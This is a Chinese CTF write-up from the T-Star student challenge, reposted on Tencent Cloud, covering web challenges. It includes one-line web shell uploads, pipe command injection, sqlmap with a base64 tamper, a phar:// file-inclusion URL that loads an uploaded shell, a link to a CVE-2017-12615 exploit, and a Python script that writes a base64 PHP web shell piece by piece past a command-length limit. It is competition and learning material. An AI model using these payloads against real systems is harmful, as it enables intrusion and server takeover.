前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >T-Star高校挑战赛writeup

T-Star高校挑战赛writeup

作者头像
yichen
发布2020-07-02 16:33:24
4200
发布2020-07-02 16:33:24
举报

签到

浏览器禁用 js 上传一句话,在 www 目录下有 key

命令执行基础

使用 | 可以执行其他命令,在 ../ 目录下有 key.php

cat 一下读出来

你能爆破吗

一开始随便输了个账号的时候不是这个页面,抓包也没看着 cookie?,后来 admin/admin 去访问了一下成了这样的

抓包,保存下来,cookie 是 base64 编码的,--tamper base64encode.py 试一下,sqlmap 成功跑出来

成绩单

sqlmap 一把唆

文件包含GetShell

查看源代码有个 lfi.txt,访问一下

把 shell.php 压缩成 zip,然后后缀改成 txt(这个是提前 ls 看过然后又加上的,一开始传一句话不行,尝试在服务器上反弹 shell 也不行,只能一点一点试)

上传之后给了个路径

访问

http://e79db2ea.yunyansec.com/lfi.php?file=phar://files/jY5jwv7OYI73sMEq.txt/shell

查看源代码得到 flag

小猫咪踩灯泡

exp 一把唆

https://github.com/RealBearcat/CVE-2017-12615

分析代码获得flag

题目给了源码,命令执行有长度限制

直接放脚本,改自:

https://xz.aliyun.com/t/2748

代码语言:javascript
复制
代码语言:javascript
复制
#encoding:utf-8
import requests
baseurl = "http://4be92bc9.yunyansec.com/?1="
s = requests.session()
# 将ls -t 写入文件_
list=[
    ">ls\\",
    "ls>_",
    ">\ \\",
    ">-t\\",
    ">\>0",
    "ls>>_"
]
list2=[
    ">hp",
    ">3.p\\",
    ">d\>\\",
    ">\ -\\",
    ">e64\\",
    ">bas\\",
    ">\|\\",
    ">z4=\\",
    ">k7P\\",
    ">5Ii\\",
    ">a2V\\",
    ">3cv\\",
    ">93d\\",
    ">hci\\",
    ">L3Z\\",
    ">XQg\\",
    ">JjY\\",
    ">tKC\\",
    ">dGV\\",
    ">3lz\\",
    ">Agc\\",
    ">waH\\",
    ">PD9\\",
    ">o\ \\",
    ">ech\\"
]
for i in list:
    url = baseurl+str(i)
    s.get(url)
for j in list2:
    url = baseurl+str(j)
    s.get(url)
s.get(baseurl+"sh _")
s.get(baseurl+"sh 0")
代码语言:javascript
复制

那一块长的 base64 是

一句话没成功,让他直接打印出来把

最后,可能是题比较简单吧,为数不多的能在吃完午饭后再打开题看看的比赛,还就是下午做的那俩题冲进了前 50 哈哈哈哈

文件上传跟 sql 注入,这俩类型的感觉总是做不出来

感觉应该整理一下思路,按照顺序一路测下去,而不是随便想起哪一个试哪一个,不然很容易放弃掉(因为测一会就不知道要用那种方法了)

还有这个分数,为啥排在前面的“小猫咪踩灯泡”比“分析代码获得flag”都高

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 签到
  • 命令执行基础
  • 你能爆破吗
  • 成绩单
  • 文件包含GetShell
  • 小猫咪踩灯泡
  • 分析代码获得flag
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档